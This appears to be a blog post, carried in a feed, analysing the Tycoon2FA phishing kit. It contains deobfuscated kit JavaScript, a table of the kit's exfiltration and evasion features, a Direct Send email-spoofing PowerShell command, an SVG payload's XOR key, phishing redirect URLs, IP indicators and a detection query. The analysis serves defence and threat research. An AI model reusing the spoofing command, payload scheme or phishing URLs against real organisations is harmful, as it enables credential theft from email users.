        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname_doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#btn_next_doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputele&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Its very upfront and clear with user session, data and “experience” handling, so here’s the table for key utilities -&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Feature&lt;/th&gt;
      &lt;th&gt;Code Reference&lt;/th&gt;
      &lt;th&gt;Phishing Purpose&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Targeted brand/URL lists&lt;/td&gt;
      &lt;td&gt;websitenames, bes, pes&lt;/td&gt;
      &lt;td&gt;Guide phishing content to mimic trusted brands&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Browser detection&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;navigator.userAgent&lt;/code&gt; check&lt;/td&gt;
      &lt;td&gt;Tailor phishing experience per browser&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Geo IP collection&lt;/td&gt;
      &lt;td&gt;$.get(“https://get.geojs.io/…”)&lt;/td&gt;
      &lt;td&gt;Collect victim location info&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Data encryption &amp;amp; encoding&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encryptData()&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stringToBinary()&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Hide exfiltrated data from detection&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Data exfiltration&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendlive()&lt;/code&gt;, AJAX POST to urlo&lt;/td&gt;
      &lt;td&gt;Send victim info to attacker server&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Randomized request URLs&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendAndReceive()&lt;/code&gt; with RandExp&lt;/td&gt;
      &lt;td&gt;Evade URL-based detection&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;UI flow control&lt;/td&gt;
      &lt;td&gt;Section show/hide with animations&lt;/td&gt;
      &lt;td&gt;Simulate legitimate login UI&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Auto-fill email input&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tryfindingele()&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Speed up credential capture&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Error handling &amp;amp; retry&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startdisconnecttimer()&lt;/code&gt;, AJAX retries&lt;/td&gt;
      &lt;td&gt;Keep victim engaged, simulate real errors&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;indicators-of-compromise-iocs&quot;&gt;Indicators of Compromise (IOCs)&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;IP Addresses&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]226[.]33&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]226[.]34&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]226[.]38&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]226[.]42&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]117&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]35&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]36&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]39&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]41&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;106[.]153[.]227[.]42&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]108&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]109&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]110&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]111&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]70&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;120[.]137[.]171[.]71&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]18[.]188[.]244&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]18[.]189[.]51&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]18[.]39[.]116&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]186[.]39[.]48&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]186[.]39[.]50&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]186[.]39[.]52&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]186[.]39[.]53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;133[.]186[.]39[.]54&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;139[.]28[.]36[.]230&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;139[.]28[.]38[.]90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;150[.]60[.]159[.]5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;150[.]60[.]169[.]253&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;150[.]60[.]232[.]68&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]230[.]102&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]230[.]136&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]230[.]81&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]234[.]174&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]234[.]19&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]234[.]3&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]234[.]4&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;153[.]127[.]234[.]5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;158[.]199[.]221[.]240&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;182[.]48[.]49[.]208&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;203[.]142[.]206[.]254&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;210[.]134[.]58[.]152&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;210[.]224[.]185[.]211&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;219[.]94[.]155[.]74&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]172&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]173&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]174&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]175&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]176&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]177&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]178&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27[.]121[.]5[.]179&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;49[.]212[.]235[.]231&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;51[.]89[.]55[.]195&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;59[.]106[.]171[.]67&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;59[.]84[.]175[.]232&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;59[.]84[.]175[.]233&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;p&gt;Tycoon2FA is still active and utilizing these sophisticated TTPs for enterprise phishing. So far, the user data handling, rendering the landing page and the Anti-Anaysis feature, all of them were obfuscated and encrypted in 3 different pages in multiple stages, which makes analysis difficult. Previous research from trustwave shows how they did obfuscation using Invisible unicode characters and proxies, and much more.&lt;/p&gt;

&lt;p&gt;References -&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tycoon2fa-new-evasion-technique-for-2025/&quot;&gt;Tycoon2FA New Evasion Technique for 2025&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/phaas-the-secrets-the-hidden-ties-between-tycoon2fa-and-dadsecs-operations/&quot;&gt;PhaaS the Secrets: The Hidden Ties Between Tycoon2FA and Dadsec’s Operations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One thing I know for sure is that Tycoon2FA’s Phishing kit is evolving fast with time, in the last 4 months itself  I have observed over 4 variants of the kits. Further, there are no more packaging of HTML content beyond what we saw already, encrypted or obfuscated, so we should call it a day here.&lt;/p&gt;

&lt;p&gt;Thank you so much for sticking this far. As a Red Teamer, analyzing threat actor’s malware and phishing campaigns is  fruitful, we gain insights into what’s being effective, and of course for the TTPs. If you are interested to emulate a similar kind of phishing operation in your environment, I would highly recommend checking the &lt;a href=&quot;https://maldevacademy.com/phishing-course&quot;&gt;Offensive Phishing Course - Maldev Academy&lt;/a&gt;. The &lt;a href=&quot;https://maldevacademy.com/phishing-course/syllabus&quot;&gt;syllabus&lt;/a&gt; is comprehensive and goes over multiple Anti-Analysis techniques, I hope to bring a detailed review of this course some time later.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If you have any questions or need personal guidance then feel free to &lt;a href=&quot;/contact&quot;&gt;contact me here&lt;/a&gt;&lt;/p&gt;

&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="Phishing Campaign" /><category term="Tycoon2FA" /><category term="Initial Access" /><category term="Phishing Analysis" /><summary type="html">Introduction Tycoon2FA’s latest Phishing-Kit has sophisticated TTPs - Initial Access via O365 Direct Send abuse, to several Anti-Analysis and Anti-Debugging features, to custom AES decryption and obfuscation routines, utilizing QR code phishing and SVG payloads, let’s dive deep into their tactics, we will uncover every minute detail of their phishing kit. Let’s start with the question - “How did they get in?” Initial Access - Abusing Microsoft Office365 Direct Send Based on Varonis report which was published recently, attackers have been abusing the “Direct Send” feature from Microsoft Exchange Online. Attacker’s command to spoof the email - Send-MailMessage -SmtpServer company-com.mail.protection.outlook.com -To joe@company.com -From joe@company.com -Subject &quot;New Missed Fax-msg&quot; -Body &quot;You have received a call! Click on the link to listen to it. Listen Now&quot; -BodyAsHtml And why this worked out so well? And we can confirm the same via Microsoft’s official documentation for Direct Send feature: Setting it up and learn more about accepted domain here. With the information we have now, we can begin to make sense of why the “To” and “From” address were same despite X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName email header displaying the target organization’s domain. Microsoft has introduced more contol over Direct Send in Exchange Online, so going by the definition - Direct Send is a method used to send emails directly to an Exchange Online customer’s hosted mailboxes from on-premises devices, applications, or third-party cloud services using the customer’s own accepted domain. This method does not require any form of authentication because, by its nature, it mimics incoming anonymous emails from the internet, apart from the sender domain. The Direct Send method assumes that customers have properly configured SPF, DKIM, and DMARC for their tenants. It is critical that an administrator updates their SPF record by adding the source IP address where the device, application, or third-party service will send from to prevent emails from being flagged as spam. If SPF is not properly configured, any email sent using Direct Send will likely be flagged as spam. Based upon your organization’s policy, you can consider “rejecting Direct Send feature”, which by default is disabled. To enable it, you need to run this command - Set-OrganizationConfig -RejectDirectSend $true The change should propagate out to our entire service within 30 minutes. With the feature enabled, any received Direct Send messages will see the following message: 550 5.7.68 TenantInboundAttribution; Direct Send not allowed for this organization from unauthorized sources Unless Direct Send is re-enabled again, any messages that hit this error will need a partner connector created to authenticate their source as an approved sender. Assets and Indicators of Compromise Let’s begin our Investigation with couple of IOCs related to Tycoon2FA’s latest phishing campaign. You may find these IP Address in the followig email headers - X-MS-Exchange-Organization-OriginalClientIPAddress, X-MS-Exchange-Organization-ConnectingIP, X-MS-Exchange-Organization-AS-LastExternalIp. Microsoft Sentinel Query for Tycoon2FA activity Assuming they made it to your orgs inbox, you can tweak the query as per your needs. EmailEvents | where SenderFromDomain has &quot;&amp;lt;org_domain&amp;gt;.com&quot; | where RecipientEmailAddress has &quot;&amp;lt;org_domain&amp;gt;.com&quot; | where parse_json(AuthenticationDetails)[&quot;SPF&quot;] == &apos;fail&apos; | where DeliveryLocation has &quot;inbox&quot; | where SenderMailFromAddress != &quot;noreply@&amp;lt;org_domain&amp;gt;.com&quot; | extend SenderUser = tostring(split(SenderFromAddress, &quot;@&quot;)[0]) | extend RecipientUser = tostring(split(RecipientEmailAddress, &quot;@&quot;)[0]) | where SenderUser == RecipientUser | where Subject has_any (&quot;Reminder&quot;, &quot;Remittance&quot;, &quot;Action Required&quot;, &quot;WIRE TRANSFER&quot;, &quot;Fax-msg&quot;) and filter further for | distinct SenderIPv4 to grab the list of suspect IP Addresses and | distinct Subject to get the lay of the land, which should look something similar to this - Email Subjects There are couple of variations, they’ll try to remind you of your goals, they’ll wire transfer you some goodies, and even Fax you some important messages which deserve your utmost attention, sincerely. Attachments and Payload Usually Tycoon2FA utilizes .svg, .msg and .pdf malicious attachment wrapped in benign .eml file, which gets in the inbox. In the previous phishing campaign they had used binary files as well. Packaging of malicious payload - .svg, .pdf, etc. The end user will receive .eml in their inbox, they may open it in preview mode/download and open it separately, which contains the .svg payload or .pdf attachment for QR Phishing. PDF malicious attachment wrapped in .eml Email Template used by Tycoon2FA - Remittance ADVICE Docusign - WIRE TRANSFER Email Header Analysis The Microsoft Exchange headers not only identify various aspects of the email but their specific values provide important insights into message origin, reputation, and authentication status. For Instance, X-MS-Exchange-Organization-AS-LastExternalIp: 139[.]28[.]38[.]90 shows the exact external IP address from which the message was last received, helping trace the source. The X-MS-Exchange-Organization-InternalOrgSender: True value indicates the message is treated as originating from within the tenant’s trusted internal environment, which affects filtering and trust decisions. Reputation scores like X-MS-Exchange-Organization-SenderRep-Score: 3 suggest a moderate sender reputation, while classifications such as X-MS-Exchange-Organization-SenderRep-Data: IpClassLargeGrayOther_GrayOther_Good imply the sender IP is in a graylist category but currently considered good. Authentication results in X-MS-Exchange-Organization-Antispam-AuthResults show specific statuses like “SpfAuthStatus”:”Fail” and “DmarcAuthStatus”:”Fail”, indicating SPF and DMARC checks failed for the domain, while “DkimAuthStatus”:”None” means no DKIM signature was found. The X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName: .com value identifies the domain checked for spoofing. Mail routing headers such as `X-MS-Exchange-Organization-MxPointsToUs:` true confirm that the recipient domain’s MX records correctly point to the organization’s mail servers. Other values like `X-MS-Exchange-Organization-Cross-Session-Cache` contain encoded flags and counters representing spam confidence levels (e.g., SCL=0 means not spam, which is the case here), bulk mail indicators, and ATP processing flags, reflecting the message’s filtering history and threat assessment. Together, these header values provide a detailed, multi-layered view of the message’s journey, authenticity, and trustworthiness within Microsoft’s mail ecosystem. Unfortunately, it was abused so well. More on X-MS-Exchange-Organization-Cross-Session-Cache: reveals - ;SL=1;SCL=0;BL=0;RL=1;PID=0;TIP=NotListed which implies the Spam Level (SL) was 1 (meaning low spam suspicion level), Spam Confidence Level = 0, means it isn’t spam, so on, Bulk Level (BL = 0), and TIP is “not listed”, meaning that sending IP address is not listed on any known IP blocklists, indicating a clean reputation. Header Value X-MS-Exchange-Organization-InternalOrgSender True Authentication-Results spf=fail (sender IP is 139[.]28[.]38[.]90) smtp.mailfrom=.com; dkim=none (message not signed) header.d=none; dmarc=fail action=none header.from=.com; Received-SPF Fail (protection.outlook.com: domain of .com does not designate 139[.]28[.]38[.]90 as permitted sender) receiver=protection.outlook.com; client-ip=139[.]28[.]38[.]90; helo=[127.0.0.1]; X-Mailer Microsoft Office Outlook 16.0 X-MS-Exchange-Organization-OriginalClientIPAddress 139[.]28[.]38[.]90 X-MS-Exchange-Organization-ConnectingIP 139[.]28[.]38[.]90 X-MS-Exchange-Organization-AS-LastExternalIp 139[.]28[.]38[.]90 X-MS-Exchange-Organization-Antispam-AuthResults has the value {&quot;SpfDomain&quot;:&quot;&amp;lt;org_domain&amp;gt;.com&quot;,&quot;SpfAuthStatus&quot;:&quot;Fail&quot;, &quot;DkimAuthStatus&quot;:&quot;None&quot;,&quot;DkimSubStatus&quot;:&quot;None&quot;,&quot;DmarcAuthStatus&quot;:&quot;Fail&quot;, &quot;DmarcAction&quot;:&quot;None&quot;,&quot;ArcAuthStatus&quot;:&quot;0&quot;,&quot;ArcSubStatus&quot;:&quot;0&quot;} Header Value X-MS-Exchange-Organization-IsBipIncludedAtpTenant true X-MS-Exchange-Organization-IsAtpTenant true X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName target.com X-MS-Exchange-Organization-SenderRep-Score 3 X-MS-Exchange-Organization-SenderRep-Data IpClassLargeGrayOther_GrayOther_Good X-MS-Exchange-Organization-VBR-Class GrayOther X-MS-Exchange-Organization-HMATPModel-Spf 6 X-MS-Exchange-Organization-AntiSpam-SpfDnsTimeoutError true X-MS-Exchange-Organization-PtrDomains probev-us.mail.protection.outlook.com X-MS-Exchange-Organization-EhloAndPtrDomain [127.0.0.1];probev-us.mail.protection.outlook.com X-MS-Exchange-Organization-MxPointsToUs true X-MS-Exchange-Organization-RecipientDomainMxRecord-PFAFD target.com#target-com.mail.protection.outlook.com X-MS-Exchange-Organization-RecipientDomainMxInfo target.com#Office365#target-com.mail.protection.outlook.com Also, flag ;RunIntraOrgSpoof=true being true, which implies Microsoft Exchange has enabled or executed internal spoof detection mechanisms to identify and block emails that falsely claim to originate from inside the organization. Tycoon2FA has bypassed Anti-Spoofing protection in EOP as well as Spoof Intelligence Insight in EOP, along with many other security measures in place, need not to mention Microsoft ATP for Office 365 was active throughout the exploitation chain. By analyzing the email headers itself, we can understand the level of sophistication Tycoon2FA achieved via exploiting/abusing the “Direct Send” feature. I was having a hard time wrapping my head around the fact that their phishing mail landed straight in the user’s inbox, despite all of the protections enabled (besides SPF, DKIM). Phishing Payload Analysis QR Code Phishing To begin with, we can look into the .pdf malicious attachment - it contains a QR code which redirects the user to Office365 login page, but in my case I wasn’t able to replicate that - due to the anti-analysis and anti-bot protection mechanism implemented by Tycoon2FA - their Cloudflare Turnstile captcha kept refreshing mutiple times - until it had blocked my IP and I had to use a residential proxy for circumventing it. Analyzing the QR code - It contains the target user email as a parameter. Similarly, This suggests the Domain Generation Algorithm utility for these random domains. You can find an updated list of more than 5,600+ domains used for phishing by Tycoon2FA here. .svg Phishing - Payload Variant 1 Remember that the variable v is the Base64 encoded email of the target user. Now let’s unpack this code: Constants: - D is a key string used for XOR decryption. - W is a long hex string representing XOR encrypted data. Helper Functions: - g(h) splits the hex string W into pairs of hex digits. - c(M) converts a number M into a character using Unicode code points. Decryption Loop: - The hex string W is split into byte-sized chunks. - Each byte (parsed from hex) is XORed with a character code from D (cycling through D). - The result is converted back to a character. - This reconstructs a decrypted string N. Execution of Decrypted Code: - L is assigned the Function constructor by accessing the prototype of [].map. - L(N)() creates a new function from the decrypted string N and immediately executes it. In essence - The payload is encrypted JavaScript code inside the SVG. When the SVG is loaded and the script runs, it: Decrypts the hidden code using XOR with a key. Dynamically creates a function from the decrypted code. Executes that function immediately. XOR Decrypting the hex stream with the key 12483c0db4709822b7175c5b and in UTF-8 format. Now we have this code with us: window.location.href = …, This sets the browser’s current URL to a new value, causing a redirect. atob(…): The atob() function decodes a Base64-encoded string. The long string inside atob() is constructed by concatenating multiple string fragments, e.g., “aH”+”R0”+”cH”+…. v: After decoding the Base64 string, it concatenates the variable v to the end. Upon Base64 decoding the concatenated string we get - &quot;https://czaigj.aptswid.es/4xWh yTFyq5nDlVL/ %&quot; which then gets appended with the variable v, likewise - window.location.href = &quot;https://czaigj.aptswid.es/4xWhyTFyq5nDlVL/%&quot; + v; The redirect link was down for this domain, or it might have deployed some anti-analysis measures, Cloudflare Turnstile had stopped my analysis there, but it won’t be the case always, as we will see later. .svg Phishing - Payload Variant 2 So, Instead of hex stream, this time you’re gonna get Base64 encoded data, which is dynamically decoded and it runs the decoded function as follows - (just some redirect to their landing page which is protected by their Turnstile) and then it resolves to the FQDN they want their target to visit - again, no luck this time, I am not sure what anti-analysis they have implimented from their server side, that the landing page links are up and running with some jitter I believe, to deter the analysis. But as I was digging through the latest of samples, I noticed that the threat actor has sent 2 sweet phishing mails, one of them was fully active and functional, I grabbed it by neck and in the below segment you’ll see how sophisticated phishing campaign it is. Deep Dive into Tycoon2FA Phishing Kit The execution sequence goes normal as expected, based upon .svg Phishing - Variant 1 as discussed above, so we have - and as per our ritual, via following the steps for XOR decryption, we arrive at the landing page URL - https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$&amp;lt;Base64_encoded_variable_J&amp;gt;, here J is simply the target user’s mail, which will be used on several occassions, to pre-populate the email field and such. I am going to refer this particular URL as primary landing page URL from now onwards, for the sake of convenience. Anti-Analysis and Anti-Bot protection What happens when we try to open the primary landing page URL (https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$&amp;lt;Base64_encoded_variable_J&amp;gt;) via mobile device? and/or and if you reloaded the redirect URL from the landing page above, with/without sending the credentials, its going to perform an anti-analysis maneuver - Chain of Execution (normal phishing workflow) First you encounter the Cloudflare Turnstile Captcha, and then the end user will see some neat and seamless redirects, here is an opportunity for the user to recall the corporate phishing training lessons, then there’s the landing page, ready for credential harvesting. One important thing I had noticed during my analysis is that - it performs server side checks for the credential being entered, ensuring that it re-prompts the user if they aren’t right in the first try. Moving ahead, we can do view-source: trick to fetch the source code of the final landing page, and we can observe two different function blobs/snippets as follows - (in-depth explanation below) NOTE: This is the 1st function snippet, I will showcase the 2nd one in later segment. Runtime Dynamic Decryption 